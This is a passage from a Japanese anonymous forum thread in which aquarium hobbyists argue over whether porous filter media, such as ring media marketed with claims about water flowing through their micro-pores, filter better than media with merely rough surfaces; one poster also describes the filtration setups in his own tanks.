104 :名無しさん@お腹いっぱい。:04/03/18 07:02 ID:b9y138VB
最後の書き込みになるのでもう一度カキコ。

例えば60cm水槽とか90cm水槽とかのサイズで何か飼育するとする。
ケースバイケースだけど濾材は大体2リッターくらい使うとする。

その限られた濾材の量で水を処理するわけだけど、処理するにも十分な水の
量を通さない場所に居るバクテリアでは、結果的に水の浄化に影響を及ぼす
意味合いが希薄すぎるってこと。

水の通らない場所にいるバクテリアも水を浄化しているでしょう。それは
間違い無いでしょう。でも実際に考えに入れられるほどの浄化をしているか
と言えば微量過ぎるってこと。

俺も折れないしそっちも折れないしで、良く見るどうどう巡りだけど、これまでの
レスの数々を良く読んでごらんよ。本質から外れたレスで混乱させてるのが誰
なのかを。

まずは多孔質っていう用語の正確さを改めるべきだと思う。
でないとどうしようもない。


105 :名無しさん@お腹いっぱい。:04/03/18 09:28 ID:8T9za0rc
>102
言い返さないの?

106 :名無しさん@お腹いっぱい。:04/03/18 10:55 ID:F4Rcf8gL
>>103
無意味?>>89の挙げた点についてはどう?
使っても悪影響がない、欠点がないというなら>>89の主張がそのまま利点として加味される。
それってかなりのプラスポイントだと思うんだがどうか。
安定性や立ち直りの早さはアクアリストにとって無意味だとは言い難いのではないか。

>水の通らない場所にいるバクテリアも水を浄化しているでしょう。それは
 間違い無いでしょう。でも実際に考えに入れられるほどの浄化をしているか
 と言えば微量過ぎるってこと。
つまり1mm以上の隙間にいるバクテリアしか用をなさないってこと?
↓を見ると、
ttp://www.ph-clion.com/product/filtration/feature/03.html
>パワーハウスは、フィルターの隅々まで水流を分散し、
 極めて高い酸素供給能力がありますので、有益バクテリアの活性化を促し、
 優れた硝化機能を発揮します。
これだけ水流が拡散していれば水の通らない場所のほうが少ないんじゃない?
それから、少なくともパワーハウスは100パーセント連続の穴だけではなく、
窪みの部分もある。顕微鏡で見た感じでは、複層多孔質に分類される。
あとホントにループで申し訳ないんだけど、おまいさんの定義
(連続した穴が全体に通っているのを多孔質と呼ぶ)で考えるなら、
毛細管現象で水は進行し続ける。流れにくいから流れないということはない。ましてや
>入った後に動かなきゃ湿ってるだけ
こんなことありえない。

107 :名無しさん@お腹いっぱい。:04/03/18 11:56 ID:ukRj8ro+
ちょっと早めの昼休みなのでレス。見解の違う部分を書いていくね。
めっちゃ長く書いたろ。午後は外に出るのでもしもレスがあっても
多分夜間にしかレスできないのでヨロ。

PHの水流分散する機能はリング状の濾材の形状からくるもので、
決して濾材が多孔質だからでは無いね。そこは勘違いだね。
濾材を入れる、例えば外部の筒状の濾材ケース全体に水が
回りやすいということだね。ここはハッキリしておこう。

やけに1mmに食いついてくるけど、それはあくまでも例だよ。

文字で説明しないといけないので回りくどくなっちゃうのは勘弁ね。
多孔質の定義は俺の定義じゃなくて日本語としての多孔質って
言葉の定義ね。表面のデコボコを多孔質って考えてるのは
きっとあなたを含めて少数派だと思う。しかも今回の件で多くは
勘違いに気付いたと思う。多孔質ってのは素材全体に連続した
穴の開いた素材のことです。表面処理ではないです。

あと毛細管現象で吸われた水は動きつづけるわけじゃないよ。
ある隙間に吸われた水は圧を加えないと容易には動かない。
逆に動かないようにする働きすらあるよね。箸をそろえてコップの
水に縦に浸すと水面より上がってくるよね。それとかが毛細管現象だね。
その箸を持ち上げても全部落ちちゃわないよね。保持してる。
それを動かそうとするとある程度の力を加える必要がある。

筒状のケースに収めたPHがあったとして考えてみて。
一方から水を送るとするよね。その時に毛細管現象で「水が
染み込んだ」濾材の内部に水がどれほど通ると思う?
前からの繰り返しだけど濾材と濾材の隙間の、大きな隙間を
通っていくよね。これは分かるよね?

水は空気よりも抵抗が大きいから、ますますそういう傾向が強いね。
少しでも大きな隙間を目指して流れようとする。


108 :名無しさん@お腹いっぱい。:04/03/18 12:00 ID:ukRj8ro+
極端な例を出すのは好みじゃないけど仕方ない。
うまく表示されるかな。
仮に下から上に水が通ると仮定してね。

目に見えないほどの細かい隙間   目に見えるほどの隙間
□□□□□□□□            □     □     □
□□□□□□□                □     □
□□□□□□□□            □     □     □
大げさだけど顕微鏡サイズと肉眼サイズだとこのくらいあると思う。
どちらが水が通ると思う?その空間の全部が左のような感じなら
仕方なくその隙間を通るかもね。でも右と左の混在した空間だと
右を通らない?

濾過が進むとこれだけじゃなくてバクテリアの生成物でさらに目が
細かくなるよね。もっと通らなくなる。

通らない部分で濾過と言うのは無理なんだよ。水が動かないと
綺麗にしたい水自体と触れられないと浄化も濾過も何も無いんだよ。
それが悪影響だとは言わない。前から書いてる「無意味」なんだよ。

バクテリアに長い腕が生えていて、自分から遠く離れた場所の水の
汚れを腕を伸ばしてキャッチするなら別だけど、腕なんか生えてない
ので自分の体の周囲の水しか浄化できないんだよ。

表面のザラザラやデコボコは濾過に役立つと思うし、水流に緩急を
つけると濾過の立ち上がりに役立つかもしれない。でも多孔質という
「ある程度連続した穴で」という定義の素材ではそれは無いんだよ。
穴の奥には水が通らないので。多孔質が立ち上がりが早いんじゃない
んだよね。多孔質の素材の表面が好ましいだけ。内部は意味が無い。

絶対に通らないとは言ってないよ。「今更絶対に通らないとは言ってない
だと?」とか突っ込まないでね。前から絶対とは書いてないしむしろ
「通るけど条件が厳しい」と書いてあるので。その条件の厳しさでは
意味が無くなってしまうと書いているのね。

例えば多孔質の濾材に普通の水を吸わせて、そしてメチレンブルーとかの
色素のついた水に沈めておくと内部まで青く染まると思う。だけどそれは
染みただけで通ってるわけじゃないんだよ。しかもその実験をやったとして
実は浸透圧とかも関わってくるから正確じゃないし。


109 :名無しさん@お腹いっぱい。:04/03/18 12:06 ID:ukRj8ro+
やっぱズレたか・・・。交互になってるって思ってね。

顕微鏡サイズの隙間に水を通すのって実は難しいことなんだよ。
ある意味で毛細管現象を使わなくては水をそのサイズの隙間に押し込む
ことは困難なんだよね。ましてそれを濾過ができるほど流すのは困難
なんてもんじゃないんだよ。「こんなことはありえない」と信じてるのは
しかたないけど、実際はありえる、というかそうなの。動かない水が
何か変化する?しないよね?動かしたくても動かせないんだよ。
現在のアクア用品では多孔質濾材の穴の中の水を動かすには非力。

あとこれもハッキリしておこう。多孔質ってのは俺の定義じゃない。
一般的かどうかは知らないけど、連続した穴のある素材を多孔質って
呼ぶのが多分当たってる。専門家じゃないので断言は避けてくけどね。
良く調べてみて違うなら違う理由を紹介してください。表面がデコボコ
してるのを多孔質って呼ぶのはぜんぜん正確じゃないと思うよ。

デコボコがあると軽い濯ぎではバクテリアの剥がれ具合が軽く済むのは
そうだね。でもそれは多孔質だからじゃなくて表面のデコボコのためだね。
安定性は関係無いね。それは分かるよね。

なんでメーカーが多孔質素材を使うと思う?表面のデコボコを作りたいから
なんだよ。表面だけを成型するのはとてつもなく難しいの。そこで素材自体を
工夫して出来上がりの表面がデコボコになる素材を選んだってわけ。出来上がり
の表面を求めて多孔質素材なの。内部は意味なし。

セールスするのに何かもっとポイントが欲しくて少なからず大げさにしてるの。
肉眼どころか顕微鏡でも難しいようなサイズの穴の奥にまで水が通るという
のは明らかな誇大広告だよ。濾過に役立ってるのは多孔質な素材の表面。
内部は意味なし。

110 :名無しさん@お腹いっぱい。:04/03/18 13:04 ID:F4Rcf8gL
矛盾してるなあ。
一方では多孔質ろ材のことを
>無意味ってことだね。無意味ってことが欠点かな?
>あくまでスタンスは「意味が無い」ってこと。
>前から書いてる「無意味」なんだよ。
と言いいながら、もう一方では、
>多孔質であるために表面がデコボコしていることだけには
 意味がある
>多孔質の素材の表面が好ましい
と言っている。これはダブルスタンダードだ。
多孔質であることによって『表面がデコボコしている』ことに
『意味がある』のならば、イコール多孔質ろ材を使用することにも
『意味がある』ということになりはしないだろうか?
俺が知りたいのは、『本当に多孔質ろ材を使用することは無意味なのか?』
ってことなんだ。おまいさんは、
『多孔質ろ材を使うことのマイナス要因』を『無意味であること』と
位置づけた。しかしそれ以降の文章には、多孔質の穴が貫通していることに
意味はないが、多孔質であること自体には濾材としてのプラスポイントがある、
というスタンスが見え隠れするが、これは>>103の冒頭の意見と食い違って
いるのではないだろうか?
ミクロン単位の穴に水が進行し続けるかどうかについては俺はメーカーを信じる、
としか言えない。リング状であることが水流分散の大きな役割を担っていることは
確かだが、俺はそれにプラスして多孔質の穴も水流にとっては重要だと
いうメーカーの意見を『信じている』。これは>>88に述べたとおり。
まあ盲信だといわれればそれまでだが。
多孔質の定義についてはぐぐってみたが、そちらのほうが正解のようだ。
これについては謝る。
『1mmの隙間』についてはおまいさんの
>濾材と濾材の隙間の1mm以上の濾材同士の隙間を通る
という意見を尊重しているだけ。今さら例だといわれてもこちらが困ってしまう。

繰り返して言うが、多孔質を使うことによるマイナス要因はなんだ?
『無意味である』『意味がない』ということだけなのか?
もしそうならおまいさん自身がその主張を否定してはいまいか?
教えてくれ。
俺も暇人だからな、夜まで待つよ。

111 :名無しさん@お腹いっぱい。:04/03/18 13:21 ID:6px+1JTy
水10!ココリコ田中の夢のない男かと思った。(関係ない話でスマソ)

112 :名無しさん@お腹いっぱい。:04/03/18 17:06 ID:X34XSIAu
何のために言い争ってるのやら?
多孔質の意味を示さずにお互いに絡んでるだけな気がする
多孔質の水の通りを調べるのが現在の課題ですかね?
一応おいらの知識でよければ書いとくのでご参考まで

水流等の少量の圧さえかけてやれば
「水は」多孔質の中を通ってくれますよ
まぁアクア用品程度の多孔質じゃそのうち詰まるから
多孔質が持つ浄化能力として
役に立つのは最初だけでしょうけど

ところで多孔質についての反論を述べておられる方
何処のページで知識を得られたのかなんとなく創造できるんですよね
浮泥により詰まった多孔質では表面に付いた菌が養分をとってしまうから
多孔質の奥にいる菌には届かないとか言う理論が載ってたページじゃないですか?
あれはあれで正しい部分もあるんですが
濾材に付くのは浄化菌だけではありませんので
あそこまで言い切ってしまうのは理論としては間違っています
微生物がうまく繁殖すると濾材に付く汚れを綺麗に食べてしまう事もあります
菌類の中でも他の菌を殺して良い位置を乗っ取ったりそういうサイクルがあります
たまたま、その理論を書かれた人の濾過機の中がそうであっても
あなたの濾過機の中がそうであるとはならないのです
NETは魔物、鵜呑みにするのは危険ですよ

113 :名無しさん@お腹いっぱい。:04/03/18 18:08 ID:Q8RsoMst
誤植に感銘を受けたよ
小憎らしい演出だねぇ

114 :名無しさん@お腹いっぱい。:04/03/18 18:10 ID:KqlSlOHo
表面積のみに頼るって考え方だと
テグスの表面を紙やすりかなんかでこすって
フィルターに詰込むってのも有りですか?
PHなんかよりずっと表面積稼げそうですが


115 : :04/03/18 18:12 ID:qIiBM8zR
要するにukRj8ro+が言いたいのは
『多孔質のろ材もそうじゃないろ材も効果は変わらない。』
っていうことじゃないの?
もっと言うと『表面が凸凹ならどんなろ材も有効である』ということだろう。
あえて欠点を挙げるとすれば価格が高いぐらいだろ。

116 :名無しさん@お腹いっぱい。:04/03/18 18:16 ID:2XNXC4GF
>>114
ウールマット

117 :名無しさん@お腹いっぱい。:04/03/18 18:19 ID:6iAhzxpK
>>115
だな。
当初、多孔質の解釈に違いがあっただけで
ふたりとも同じことを言ってる気が・・


118 :名無しさん@お腹いっぱい。:04/03/18 21:25 ID:LPj/Q2vB
てことは粗目のウールマットでP1付けて詰まらなければ
それで充分事足りるのか?


119 :名無しさん@お腹いっぱい。:04/03/18 21:35 ID:kZCfikvY
ウールマットでもじゅうぶんなんだろうけど、再生しにくいからねぇ。

120 :名無しさん@お腹いっぱい。:04/03/18 23:28 ID:/oismxsI
115じゃないが115に補足すると

「多孔質のろ材もそうじゃないろ材も効果は変わらない」
理由は多孔質でもその内部に水はほとんど通らないからそこでの濾過は微々たるもの。
さらに時間がたてば内部はつまるだけ。
てことだろ。

確かにほとんど通る気はしないな。特に上部や外掛け程度の水圧だと。
でも濾過いがいにも内部の穴によってどんな生物サイクルが出来上がってるのかは分からんが。
アクアのことなんて実際何が起きてるかきちんとはいえないから自分が上手くいってりゃどうでもいいや。
てことで俺はスポンジマンセー

121 :名無しさん@お腹いっぱい。:04/03/18 23:32 ID:6B+hhaJ+
ソースはただの推測という意見とソースはただの推測という反論







お前ら、前に進むはず無いからそろそろやめれ

122 :名無しさん@お腹いっぱい。:04/03/18 23:33 ID:jUeo2sVs
アテネ記念。では続きを。

ダブルスタンダードではないですよ。良く読んでください。途中でマジメにレスを
していると書きましたね。ある程度の読解力が必要な文章になってしまったのは
俺の作文力が足りないためで申し訳ないけど、でも必要な単語は駆使してるはず。

あなたはおそらく多孔質という単語はほぼ「多孔質濾材」を限定して指している
と思う。ほぼそうでしょ?でも俺は「多孔質濾材」と「多孔質素材」と「多孔質な
構造」といろいろ分けて表現しているはず。良く読んでみて。文章の前後にある
何かで「多孔質」の意味が変わってくるよ。構造というのは今初めて書いたけど、
普通は多孔質と言えば構造でしょ?これは分かるよね?

なので無意味なのは「多孔質濾材」と「多孔質構造」。意味があるのは「多孔質
素材(表面をデコボコさせるので)」。そう書いてあるはず。

多孔質素材を使った多孔質濾材は表面がデコボコしているので表面には
利点がある。でもあなたの主張する多孔質濾材の内部の多孔質構造には
あまたのおっしゃる通水性は(期待できるほど通りえないので)無意味だ。
と書いてます。

ちょっと横道に逸れるけど、ウェブ上での知恵じゃないです。
そのページは知っているような知らないような、特定できませんが、おそらく
それを参考にして得た情報じゃないです。詰まる詰まらないよりも、細い穴の
奥に水が通るのが無理だと言っているのです。これは例をいくつも出して
説明しましたし、そろそろこの「通らない」ということに反論する場合は具体的な
例を出すなり何かを提示するなりで反論して欲しいです。ループもいいところ
です。俺は「(理由を示し)こういう理由で通らない」、相手は「通ると思う」これ
だけ。

テグスの表面を〜、も良い方法かもしれませんね。でもウールがそうですね。
ウールの立ち上がりの速さは皆さんも良くご存知かもしれません。ただ寿命が
短いですね。すぐへたるし。


123 :名無しさん@お腹いっぱい。:04/03/18 23:35 ID:jUeo2sVs
とりあえずループなのがアレなので、とにかく以下のことについて答えてください。
攻勢に出ている気でいるのかもしれませんが、自分も責任を果たしてください。

濾材を実際に濾過層に収めた状態で
水を通常のポンプで送ったとして
濾材同士の大きな隙間を通る水が
なんでミクロンサイズの隙間を通りえるのか

これを説明してください。メーカーの説明を信じると書いていますが、メーカーも
この「なんで通れる道がたくさんあるのにミクロンサイズの道を通るのか」の
説明はしていません。せいぜいどこかのメーカーが「口をあてて吹くと息が
抜けていきます」程度の説明しかしていません。お風呂に入ったら手をチョップ
のかたちにして扇いでみてください。空気中と抵抗がどれだけ違うか分かるはず
ですよ。次にパーのかたちで扇いでみてください。どれだけ軽くなるか。

水を浄化するバクテリアの話をしています。水を浄化するのには汚れた水が
周囲にないと浄化もできませんよね。汚れた水が流れていないと浄化もへったくれ
も無いわけです。流れの無い場所のバクテリアは何か他の働きをしてるかも
しれません。でも浄化はしてません。

どうしても1mmがお好きなようで。「1mm」に何かあるんですか?具体的な数値
として例を挙げることも難しいのでは、ちょっと今後の作文が難しくなりますね。
1mmというのは一般的に小さなサイズとして例を挙げただけです。そのくらい
分かりますよね?困らせるつもりなら大して困ってませんので無駄ですよ。
なにか「1mm」という単語にトラウマでもあるのならお気の毒ですが、1mmに
こだわってるのは貴方だけかもしれません。そろそろそれは止めましょう。
今後は「肉眼で判断できるサイズの隙間」と書きましょう。


124 :名無しさん@お腹いっぱい。:04/03/18 23:40 ID:jUeo2sVs
>繰り返して言うが、多孔質を使うことによるマイナス要因はなんだ?
繰り返して書いてあるはずですよね。何回でも書くしかないですかね?
水が通らないので意味が無いのです。

通るなら通る説明をしてください。貴方の信じるメーカーもその説明はしてません。
貴方は「水流を分散させるので」というメーカーの説明を信じると書きましたね?
でもそれはリング濾材の「素材ではなくリング形状による水流の分散効果」の
勘違いでしたね?多孔質という用語の誤解もしてましたね?

スタートから多くの勘違いをしているわけです。今この場で私の答えて欲しい
ことをツラツラ並べるのは難しいかもしれません。でも責めてません。
今は意見交換をしているだけですので。ただどう考えても私はいろんな理由や
例を挙げて説明しています。そろそろそちらも可能であれば理由や例を挙げて
説明してください。おっしゃる通りループです。

長い書き込みは俺もあまり好きではないですが、そうしないといけない場合は
仕方ないと思ってます。読む側のために頑張ったつもりですが、作文力の不足で
ダラダラになって申し訳ないです。

でも無駄ではなかったかなと思ってます。ボール状の濾材の広告で、水に入れると
泡が出るという広告がありますね。あれは毛細管現象で水が吸われた時に押し
出された泡なだけです。何も水か自由に出入りして内部でも濾過が行われる
わけではありません。他の多孔質素材の濾材もおよそそうです。

濾過層に詰めたことを想像してください。肉眼で判別しきらないほどの細い
穴を例えば直径1cmを越えるような濾材のコッチから向こうまで通り抜けると
思いますか?それより濾材同士の隙間を抜けていくのを分かってください。

繰り返しになりますが俺は表面のザラツキやデコボコは濾過の役に立つと
思ってます。何か紙でもなんでもグシャグシャにして丸めて軽く開いてみて
ください。アイロンでもかければほとんど元のサイズになりますが、軽く開いた
だけだと元より縮んでいるはずです。デコボコは表面積を増やす効果があります。

デコボコを安価に製造するには、出来上がった後に加工するのはコストに
跳ね返ってきます。素材自体に出来上がりがデコボコになる素材を使えば
安価に製造できます。なので気泡を含んだ素材で製造しているだけです。
おのずと表面が荒れた製品になります。それを大げさに広告に書いてるだけです。

貴方の頼みのメーカーはその細い穴の奥まで水が通る理由を説明してません。
通るとだけしか広告で謳ってません。
貴方も広告の妙にやられた被害者なのかもしれません。


125 :名無しさん@お腹いっぱい。:04/03/18 23:58 ID:edwcSjLz
5行くらいにしてくれたら読む

126 :名無しさん@お腹いっぱい。:04/03/19 00:28 ID:Hanc4gA+
結局、一番信頼できるのは、自分の勘と経験と自己満足だけだから。

127 :名無しさん@お腹いっぱい。:04/03/19 00:47 ID:19KsyKUo
結局ID:jUeo2sVsが主張したい事は

多孔質濾材の表面にあるデコボコは有意義だが、メーカが謳っている
多孔質構造の表面積まで含めた「広大な濾過面積」というのはほどんど
効いてないから誇大広告だゴルァー

と言いたいんだろ?

>>125
とりあえず3行にまとめてみた(w

128 :名無しさん@お腹いっぱい。:04/03/19 00:52 ID:aurr8KJP
空気が読めないやつ嫌い

129 :名無しさん@お腹いっぱい。:04/03/19 01:04 ID:7xEceJaK
単孔質や無孔質ろ材なんて売ってないんだから、どれもたいして変わらん。

130 :125:04/03/19 01:12 ID:GCZ53y0p
>>127
よめますた

131 :名無しさん@お腹いっぱい。:04/03/19 01:22 ID:U1TDZeIc
>>123
堂々巡りだよ……。
>濾材を実際に濾過層に収めた状態で 水を通常のポンプで送ったとして
 濾材同士の大きな隙間を通る水が なんでミクロンサイズの隙間を通りえるのか
 これを説明してください。

俺も同じことを問いたい。
濾材を実際に濾過層に収めた状態で水を通常のポンプで送ったとして
濾材同士の大きな隙間を通る水が なんでミクロンサイズの隙間を通りえないのか?

俺は穴があるんだから水が通らないはずはない、という考えだ。
口を当てて吹くと息が抜けていく隙間があるんなら水も抜けていくんだろう、とも考えている。
>水が通らないので意味が無いのです。
『通らないので云々』の前に通らないと言うことを実証してくれ。
>リング濾材の「素材ではなくリング形状による水流の分散効果」の
 勘違いでしたね?
俺の文章をよく読め。
>リング状であることが水流分散の大きな役割を担っていることは
 確かだが、俺はそれにプラスして多孔質の穴も水流にとっては重要だと
 いうメーカーの意見を『信じている』。
こう書いてあるだろ?勝手に勘違いにしないでくれよ。
>私はいろんな理由や 例を挙げて説明しています。
どれも憶測にすぎない。ソースを明示して語ってくださいな。
お風呂でチョップとかはどうでもいいからさ。
あとアレだな、文章が長すぎるな。分割しなきゃ書き込めない量の文章じゃあ
読むのがつらい。意見を述べるときはもうちょっと要点をまとめて簡潔に、って
小学校の通信簿に書かれなかったか?

132 :名無しさん@お腹いっぱい。:04/03/19 01:30 ID:U1TDZeIc
>>112
>水流等の少量の圧さえかけてやれば
 「水は」多孔質の中を通ってくれますよ
 まぁアクア用品程度の多孔質じゃそのうち詰まるから
 多孔質が持つ浄化能力として
 役に立つのは最初だけでしょうけど
同意。>>89が多孔質濾材の利点としてあげた立ち上がりの早さにかなり関係するはず。
>>121
スマソ
確かに推測合戦じゃ話が進まないな。
俺はこれで終わりにするよ。

133 :名無しさん@お腹いっぱい。:04/03/19 01:58 ID:KZ03YT2H
穴のサイズを考えてください。それだけです。

>『通らないので云々』の前に通らないと言うことを実証してくれ
実証と言うと実験をしてその結果を晒すと言うことですね。
それは貴方もできないでしょ?でも説明はしました。
貴方は「通ると考えている」とだけで説明をしてませんよね?

>俺の文章をよく読め
読みました。あなた?の紹介してくれた
ttp://www.ph-clion.com/product/filtration/feature/03.html
にあるようにリング濾材の形状からくる特徴ですよね?
それを紹介してくれても多孔質構造じゃなくてリング形状の話になって
しまうので今回の話には関係がありません。なので勘違いの紹介URLですよね?

>リング状であることが水流分散の大きな役割を担っていることは
>確かだが、俺はそれにプラスして多孔質の穴も水流にとっては重要だと
>いうメーカーの意見を『信じている』。
>こう書いてあるだろ?勝手に勘違いにしないでくれよ。
メーカーはフィルター(筒)の内部の水流をリング形状の濾材が分散して流して
くれるのでフィルター内の水流がまんべんなく流れる、と紹介しています。
そのURLはあなたの信じる「多孔質の穴も水流にとっては重要」だということには
無関係ですよね?無関係なリンクを紹介してくれても「勘違い」としか言えない
ですよね?良く読めば読むほどあなたの主張はおかしいですよ?

あなたが複雑なレスをしてくるので仕方なく長くなってしまいます。
普通なら書かないでも済むことを書かないといけません。
しかも書いているのに分かってくれません。

長く書くのにはもう一つ意味があります。貴方に伝えたいだけでなく、せっかく
こうして多くの人が見ている場ですから、もっとアクア趣味の人たちの消費者と
しての立場と言うか、もっと向上できると思うからです。

アクア趣味のユーザーは他の趣味の中でもまれに見るヒドイ扱いを受けてます。
メーカーからです。嘘や誇大広告や、そんなものの割合が非常に高いです。
せっかくの機会ですのでその一端を紹介できたらと考えました。

この期に及んで多孔質「素材」なのか「濾材、構造」なのかの定義付けも
曖昧のようですね。長い文章を苦にするのは分かります。でもこの程度の
長さを何の苦も無く読める人も多いですよ。その人たちには今回の内容は
ある一定の評価を得ているような気がします。

そして読み終わった人たちで一連の話を把握した人は、何が残ったかご理解
いただけたと思います。

とにかく信じるのは結構です。特に著しい実害は貴方にも読んだ人にも無いの
かもしれません。でも今のアクア趣味の現場を向上させるにはあなたの信じている
メーカーの無責任な誇大広告を打破しないといけないのも事実です。

貴方もメーカーも何の説明もできてません。俺への反感だけでは説明になってませんよ。

お風呂でチョップを馬鹿にしていますね。でもそのくらいしか貴方に分かって
もらえそうな例えが思い浮かびません。お風呂でチョップでもダメなのですから。
これ以上日常で試せそうな実践できる実験は無いですよ?

空気が通るので水も通る。程度問題です。
そりゃ通るサイズの穴もあるでしょう。でも貴方の想定しているサイズの穴には
通りません。いつか分かることもあるでしょう。

より良い製品が出てくることを祈ってます。価格も下がり、品質も機能も向上
した製品が、現状を打破して登場することを祈ってます。

134 :名無しさん@お腹いっぱい。:04/03/19 03:34 ID:0E3cxQQl
>俺も同じことを問いたい。
>濾材を実際に濾過層に収めた状態で水を通常のポンプで送ったとして
>濾材同士の大きな隙間を通る水が なんでミクロンサイズの隙間を通りえないのか?

これは大間違いだと俺も思う。
あとPHの広告を簡単に信じるのも。

>ID:KZ03YT2H

おすすめのろ材は何?

135 :名無しさん@お腹いっぱい。:04/03/19 04:10 ID:fy/rv+oE
で、お二方とも濾材に凸凹が有るにこした事はないということでよろしいか?

>>133
ご自身の水槽サイズ、生体、濾過システム及び濾材を公表願いたい。

136 :名無しさん@お腹いっぱい。:04/03/19 04:42 ID:tpP17P3B
だからさー。
多孔質は「表面」に、より多くのバクテリアをくっつけるためだろ。
リング構造は「水流」を、多くのバクテリアが付いた濾材に効率よく通すためだろ。

微細孔の奥に「水流」が通るかって言ったら、ほとんど通らないだろう。
でも、水は届くだろ。
バクテリアで詰まるかもしれないが、
それで生きていけるからバクテリアの層はその厚さになってるんだろ。
死骸うんぬんは見たわけでもなく専門知識もないなら語るだけ無駄だよ。
「メーカーの宣伝を鵜呑みにするな」自体はいいが、反論の根拠が素人の想像じゃなあ。
オカルトメーカーは信じないが、素人の「ボクが考えた濾材」よりはPHの方がまだ信じられるよ。

137 :名無しさん@お腹いっぱい。:04/03/19 06:49 ID:KZ03YT2H
下の2行は俺へのレスですか?そうだと仮定してレス。
ボクが考えた濾材よりPHとのことですが、PH自体は一定の評価をしていますので
そこは強調しておきます。これまで長々と繰り返してきたのは、やけに食いついて
くる方がいたからです。下から2行より上は同意です。

おっしゃる通り多孔質な素材で造られた多孔質濾材の表面にはバクテリアが
たくさん発生すると思います。水は届くと思います。細い穴の中へでも毛細管
現象で水は届くと思います。ただ水が通っていってそこでも濾過が行われる
という主張をしている方がいたために長くなりました。それだけです。
>>136と俺の考えは同じだと思います。

ウチの水槽の話が出たので紹介します。参考になればいいのですが・・・。
全ての外部の入り口にはポンプの流量に合わせてPIかPIIが付いてます。
大きいのから順に

120cm 水草とエビ
2224*1 2213*1
2224の中はPHのMが最下段に、中2段にミニカスケード、PHのSが最上段
2213の中はPHのLが満タン

90その1 エンドリ1匹
プライム30 シポラックス半分アトロボール半分

90その2 カラシンなど様々30匹くらい
プライム20 アトロボール満タン
上部 砂利のような濾材(10年以上前に買ったので商品名は不明に)
上部はポンプを取り去り、プライムの排水(シャワーパイプ)を突っ込んで
直結状態。プライムは上部のポンプ代わりです。

60*45 コリ少々
プライム20 アトロボールのみ満タン

45 ロイヤルプレコ
PIに型番忘れエーハイムの黒くて小さなポンプ直結
フルーバル1?(一番小さな内部フィルター)
フルーバル1の中はスポンジではなくPHのS。インペラーにSが入って
しまわないように上部にミニカスケードを4個、丁度入る。2/3がSで
1/3がミニカスケードといったところ。

45 コリ少々 正体不明な小さなダータ バンブルビーゴビー
PIのみ

138 :名無しさん@お腹いっぱい。:04/03/19 06:55 ID:KZ03YT2H
45cm2本は水場が近いので適時水換えで対応。やや濾過が弱いのは
自覚してます。

90その1のエンドリはもう若くないのであまり餌を大量に与えてません。
ですので濾過不足の様子ではないようです。
90その2の濾過は十分に足りてそうです。

120は生体をずいぶん増やしても大丈夫そうです。

あと30とかが何本かですが、主にブリラントなどのスポンジフィルターです。
現在はそれぞれの水槽で生体の数が少ないかもしれません。
以前はもっと居たのですがおそらく寿命で少しずつ減ってきています。
ここ数年は新規に購入はしていません。

120は7年ほど維持していますし、まして生体も少ないので水換えはほとんど
してません。年に5回ほどでしょうか。2ヶ月に一度もしてないと思います。
生体がエビだけですので餌も投入しておらず、それもあると思います。
以前は珍カラなどが居たため少しは餌も与えていたために2ヶ月以上
水換えをしないことは無かったです。

PHを選んだ理由は安かったからです。特売があったので買ってみました。
pH調整の機能は考えにはありません。また多孔質を謳った広告も選択の
参考にはなっていません。安くて丈夫、それだけです。

シポラックスも同じ理由です。一部で言われている脆さは感じていません。

2224に同梱されていたサブストラットは使っていません。袋の中でボロボロ
だったからです。脆い濾材は使わないようにしています。後日のメンテが
面倒ですので。現在のロットは丈夫になっているかもしれません。

アトロボールとミニカスケードはいわゆるドライボールの小型版です。
これも安売りの時に買いました。ミニカスケードは普通、安売りはされ
ませんが、10年くらい前にまだデュプラジャパンが元気だった頃に
店ではなくデュプラジャパン自ら安売りキャンペーンをやっていた時に
まとめて数リッター分買いました。

基本的な考えに「ピークを狙わずに平均を目指す」ようなことがあります。
PHのSを除いてリング濾材やプラの濾材が多いのはそのためです。
メンテナンスを誤った場合に被るダメージよりも長期間調子を崩さずに
いられる選択をしています。これらはめったなことでは目詰まりしません。
現在の構成でこれまでに目詰まりのためのメンテは一度もしてません。

長くなるので手短に。表面がツルツルのアトロボールでも十分に濾過
できてますよ。60*45はアトロボールとPIのみです。以前は結構負荷の
かかる生体数でしたが正常に飼育できてました。PIだけで濾過できて
いたとは到底思えない飼育数でした。ただ排水は水面から上にして
おいて、水面を叩くようにしていました。外部ですので酸素の供給を
考えてのことです。プラ濾材厨じゃないですよ、PHも使ってますし。

139 :名無しさん@お腹いっぱい。:04/03/19 06:58 ID:KZ03YT2H
オススメは正直分かりません。断言などはできません。
ただ無難な選択をと問われたら「なんでもいいので丈夫なリング濾材」か
「安くてサイズが丁度良さそうなのでアトロボール」ですかね。

どちらも目詰まりしにくいので。メンテナンスを前提にするのは、俺の主観では
面倒で嫌になるので。長期間ほったらかしにできる構成です。

140 :名無しさん@お腹いっぱい。:04/03/19 10:20 ID:aurr8KJP
ほとんどの人は読んでないよ

141 :名無しさん@お腹いっぱい。:04/03/19 10:25 ID:wF9wEdGI
毛管現象で議論はKOですか?
それとも次は多孔質の持つ濾過能力に議論が発展するんでしょうか?
活性炭について調べればKO?

アトロボールって一度店で見た気がすんだけど
どんなのか良く知らなかった、生物分解プラ?
見た目がつるつるでも(以下略、誰かが突っ込むだろ

142 :名無しさん@お腹いっぱい。:04/03/19 11:48 ID:xIph0v1q
これで何回目の多孔質論争ですか?

143 :名無しさん@お腹いっぱい。:04/03/19 12:56 ID:45iS4ma6
ひさびさ来たら、何だかやたらに書き込みがありますが
読んでおくべきスレだけ 「 >>1 」のような感じでお願いします

144 :名無しさん@お腹いっぱい。:04/03/19 13:39 ID:NqR3WCFk
>>143
>>126

145 :名無しさん@お腹いっぱい。:04/03/19 15:01 ID:45iS4ma6
>>144
ありがとうございました
ろ材についてよくわかりました

146 :名無しさん@お腹いっぱい。:04/03/19 17:13 ID:cZ5PH8nS
>>140
ありがとうございます
とても参考になりました

147 :名無しさん@お腹いっぱい。:04/03/19 18:27 ID:lU+F1eJj
テグスに紙ヤスリ誰かやってくれ
でも最近の分解されるテグスだと・・・


148 :名無しさん@お腹いっぱい。:04/03/19 19:05 ID:1o3VhcWp
丈夫フィルターについてくる
あの青くてゴワゴワした繊維と同じ効果ではないでしょうか?>テグス

149 :名無しさん@お腹いっぱい。:04/03/19 23:43 ID:0E3cxQQl
>148
一本一本紙ヤスリかけてくれ

150 :名無しさん@お腹いっぱい。:04/03/19 23:49 ID:YDHrEFAA
想像したより荒れてない。

151 :95:04/03/20 02:12 ID:JMnE66qq
めっちゃ進んでるw
